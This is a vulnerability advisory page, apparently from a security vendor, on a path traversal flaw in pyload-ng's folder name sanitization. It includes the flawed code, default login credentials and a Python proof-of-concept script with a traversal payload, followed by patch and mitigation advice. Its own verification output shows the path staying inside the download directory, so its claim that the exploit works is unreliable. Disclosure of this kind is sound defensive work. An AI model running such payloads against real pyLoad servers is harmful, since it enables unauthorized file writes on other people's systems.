CVE-2026-42314 — pyload-ng
MEDIUMCVE-2026-42314 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
PyLoad Vulnerable to Path Traversal via Package Folder Name
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42314.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42314 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Insufficient sanitization of package folder names allows writing files outside the intended download directory.
Affected Component
src/pyload/core/api/__init__.py- Function:
add_package()
Description
Package folder names are sanitized using insufficient string replacement:
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace("../", "_") # Bypassable!
.replace("..\\", "_")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.
Proof of Concept
Setup
pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload
Exploit
#!/usr/bin/env python3
import requests
BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"
session = requests.Session()
# Login
session.post(f"{BASE_URL}/login", data={
"username": USERNAME,
"password": PASSWORD
})
# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"
resp = session.post(f"{BASE_URL}/api/add_package", json={
"name": "test_package",
"links": ["http://example.com/file.txt"],
"dest": 1 # Destination.QUEUE
})
package_id = resp.json()
print(f"Created package: {package_id}")
# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
"package_id": package_id,
"data": {"folder": folder_payload}
})
print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")
# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print(" The sanitized folder still contains '..' sequences that OS resolves")
Verification
Check where files would be written:
import os
download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"
# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil
# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil
# The .. sequences remain and could be resolved by OS during file operations
Impact
Authenticated users with ADD permission can:
- Write files outside the download directory
- Potentially overwrite system files (depending on permissions)
- Clutter system directories with downloaded content
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev100pip install --upgrade 'pyload-ng==0.5.0b3.dev100' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev100 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42314 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42314 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42314. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42314 in your dependencies?
O3 Security finds CVE-2026-42314 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.